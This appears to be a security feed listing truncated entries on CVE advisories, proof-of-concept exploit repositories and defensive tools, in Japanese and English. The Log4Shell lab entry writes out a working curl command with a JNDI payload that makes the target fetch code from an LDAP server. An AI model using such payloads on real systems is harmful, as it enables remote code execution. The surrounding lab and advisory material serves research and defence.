CVE-2026-25514

CVE-2026-25514: FacturaScriptsのオートコンプリートアクションにおけるSQLインジェクション 概要 フィールド| 詳細 ---|--- CVE ID| CVE-2026-25514 深刻度| HIGH アドバイザリ| アドバイザリを表示 発見者| Lukasz Rybak 影響を受ける製品 facturascripts/facturascripts （バージョン: selectLimit$sql, self::getLimit as $row $result = new static$row; return $result;...

CVE-2026-29187_SqlInjectionVulnerabilityOpenEMR7.0.4

CVE-2026-29187 - 新しい検索ポップアップにおけるSQLインジェクションの脆弱性 弱点 CWE-89 SQLコマンドで使用される特殊要素の不適切な無害化（'SQLインジェクション'）...

EXPLOIT-CVE-2021-44228

CVE-2021-44228 — Log4Shell PoC Lab 免責事項 このラボは教育およびセキュリティ研究のみを目的 として作成されています。 すべてのトラフィックは隔離されたDockerネットワーク内で発生します。 実際のシステムや明示的な許可なしにこの資料を使用しないでください。 不正使用は犯罪となる可能性があります。責任を持って使用してください。 CVE-2021-44228 とは？ Log4Shell は、2021年12月に発見された、Javaアプリケーションで広く使用されているロギングライブラリ Apache Log4j 2 の重大な脆弱性（CVSS 10.0）です。...

CVE-2022-42889

🚀 CVE-2022-42889 Text4Shell エクスプロイト CVE-2022-42889 Text4Shell の Python エクスプロイトです。Apache Commons Text のバージョン 1.10.0 未満における重大なリモートコード実行脆弱性です。 📋 目次 説明 脆弱性の詳細 影響を受けるバージョン エクスプロイトの機能 必要条件 使用方法 使用例 動作の仕組み 検出方法 緩和策 参考文献 免責事項 📝 説明 このエクスプロイトは、CVE-2022-42889 Text4Shell を標的としています。これは Apache Commons Text...

CVE-2025-62429

CVE-2025-62429 PoC - clipbucket RCE updatelaunch.php の PHPコードインジェクションによる RCE の Proof-of-Concept 開示: GHSA-3h9c-7j8r-xc3v を通じて私が最初に報告しました。 ⚠️ 許可されたペネトレーションテスト/研究目的でのみ使用してください。 脆弱性情報 フィールド| 値 ---|--- CVE ID| CVE-2025-62429 深刻度| 🔴 高 CVSS スコア| 7.2 CVSS ベクター| CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H...

CVE-2025-48932---exploit

Invision Community SQL Injection Exploit CVE-2025-48932 A proof-of-concept exploit demonstrating a SQL injection vulnerability in Invision Community versions = 4.7.20. ⚠️ Disclaimer This tool is provided for educational and authorized security testing purposes ONLY. Unauthorized access to computer...

CVE-2025-34096

🐞 CVE-2025-34096: Easy File Sharing Web Server 7.2 - Stack-Based Buffer Overflow SEH SEH-based buffer overflow in Easy File Sharing Web Server 7.2, reachable through the password recovery endpoint. 📑 Table of Contents Why this repository exists Why this vulnerability is interesting Context and...

Sentinel-GPT

Sentinel-GPT: Agentic AI for Threat Hunting 🛡️ An automated cybersecurity pipeline that transforms raw Azure logs into actionable intelligence using LLM-based reasoning. 📖 Overview Sentinel-GPT is an AI Agent specialised for threat hunting in cybersecurity. It is integrated with Azure Log Analytic...

log4shell_lab

log4shell exploit lab This repository is a single-line setup for log4shell exploit lab. Setup the lab: docker-compose up -d Run exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Then go to vul container and see that indeed we pwned the machine: Video...

iberyanbytes

Iberyanbytes AD enumeration tool, which allows taking information that is related to the network and gathering information about network interfaces, IP configuration, DNS, and routing tables. It enumerates network shares and analyses share permissions, gathers details about installed software,...

Give yourself room to be human

Welcome to this week's edition of the Threat Source newsletter. Fall is officially here in Maryland, and I can't be more relieved. I flourish in 50 degree weather, where it feels natural to burrow under blankets, knit sweaters, and listen to an audiobook. Beyond that, though, can I say that I'm...

trivy v0.75.0

📖 Documentation Trivy pronunciation is a comprehensive and versatile security scanner. Trivy has scanners that look for security issues, and targets where it can find those issues. Targets what Trivy can scan: Container Image Filesystem Git Repository remote Virtual Machine Image Kubernetes...

CVE-2026-78578 Unauthenticated do Method Onboarding Connect Allows Wi‑Fi Reconfiguration Denial of Service Vulnerability in TP-Link Tapo C120 & C200

Tapo C120 v1 and C200 v5 do not enforce authentication for do method HTTPS onboarding connect actions after initial setup. An unauthenticated adjacent attacker can submit unauthorized wireless configuration parameters, causing the camera to attempt connection to a different network. Successful...

CVE-2026-78578 Unauthenticated do Method Onboarding Connect Allows Wi‑Fi Reconfiguration Denial of Service Vulnerability in TP-Link Tapo C120 & C200

Tapo C120 v1 and C200 v5 do not enforce authentication for do method HTTPS onboarding connect actions after initial setup. An unauthenticated adjacent attacker can submit unauthorized wireless configuration parameters, causing the camera to attempt connection to a different network. Successful...

CVE-2026-78578

TP-Link Tapo C120 v1 and C200 v5 security cameras are vulnerable to a denial-of-service condition because the HTTPS onboarding connect action does not enforce authentication after the initial setup. An unauthenticated adjacent attacker can exploit this by submitting unauthorized wireless configur...

EUVD-2026-90982

Tapo C120 v1 and C200 v5 do not enforce authentication for do method HTTPS onboarding connect actions after initial setup. An unauthenticated adjacent attacker can submit unauthorized wireless configuration parameters, causing the camera to attempt connection to a different network. Successful...

ADBloodHound-AI

ADBloodHound-AI AI-Powered Active Directory Attack Path Analysis Analyse de chemins d'attaque Active Directory avec Intelligence Artificielle English | Francais Architecture +---------------------------+ | BloodHound JSON Export | | users, groups, ACLs | +-------------+-------------+ | v...

Exploit for Expression Language Injection in Redhat Richfaces

RichFaces Paint2DResource — CVE-2018-12533 CTF lab A self-con...

CVE-2026-25991

CVE-2026-25991 PoC - Tandoor Recipes SSRF レシピインポート経由のSSRFの概念実証 開示情報: 元々は私が GHSA-j6xg-85mh-qqf7 を通じて報告しました ⚠️ 許可されたペネトレーションテスト/研究目的のみで使用してください。 脆弱性情報 フィールド| 値 ---|--- CVE ID| CVE-2026-25991 深刻度| 🔴 高 CVSSスコア| 7.7 CVSSベクター| CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N CWE| CWE-918: サーバーサイドリクエストフォージェリ...

telnetd_CVE-2026-24061_tester

Telnetd CVE-2026-24061 テストスクリプト NEW-ENVIRON telnetオプションを介したtelnetdサーバーへの環境変数インジェクションの脆弱性を検出するPythonセキュリティテストツール。 概要 このスクリプトは、NEW-ENVIRON telnetオプションを介した環境変数インジェクションを可能にする脆弱性 CVE-2026-24061 についてtelnetdサーバーをテストします。サーバーがこれらの環境変数を不適切に処理する場合、コマンドインジェクションや認証バイパス攻撃に対して脆弱である可能性があります。...